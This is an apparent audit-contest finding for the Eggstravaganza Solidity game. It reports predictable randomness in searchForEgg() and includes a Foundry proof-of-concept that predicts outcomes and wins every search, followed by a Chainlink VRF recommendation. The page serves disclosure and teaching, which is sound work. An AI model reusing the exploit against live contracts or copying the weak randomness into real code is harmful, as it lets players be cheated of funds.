Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Bad Randomness on `EggHuntGame.sol::searchForEgg()`

Summary

The function searchForEgg() is using a randomness attributes that are easy to be find, making the random value predictable.

Vulnerability Details

The random variable is using some block global variables and easy to get values such as msg.sender and eggCounter.

function searchForEgg() external {
...
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
...
}

Impact

Being able to predict the random value, an attacker could win all the time by playing when the random is in his favor.

Tools Used

  • Foundry

  • Manual Analysis

PoC

Add the following test to the EggGameTest contract:

function test_forBadRandomness() public {
// start the game
game.startGame(200);
assertEq(game.gameActive(), true);
game.setEggFindThreshold(100);
// start the exploit
vm.startPrank(attacker, attacker);
for (uint i = 0 ; i < 10 ; i++){
uint256 predictedEggCounter = game.eggCounter();
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(attacker), predictedEggCounter))
) % 100;
console.log("Iteration ", i, " Random is ", random);
game.searchForEgg();
}
vm.stopPrank();
console.log("Total Egg Counter: ", game.eggCounter());
console.log("Egg Found by Attacker: ", game.eggsFound(address(attacker)));
}

The result of running the following test using:

forge test --mt test_forBadRandomness -vvv
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] test_forBadRandomness() (gas: 542214)
Logs:
Iteration 0 Random is 74
Iteration 1 Random is 55
Iteration 2 Random is 68
Iteration 3 Random is 31
Iteration 4 Random is 39
Iteration 5 Random is 29
Iteration 6 Random is 84
Iteration 7 Random is 68
Iteration 8 Random is 44
Iteration 9 Random is 82
Total Egg Counter: 10
Egg Found by Attacker: 10

Recommendations

The flaw comes from the fact that the random is using variable with known values / easy to find, it is recommended to use true randomness from an on-chain verifiable randomness such as Chainlink VRF (Verifiable Random Function).

Updates

Lead Judging Commences

m3dython Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!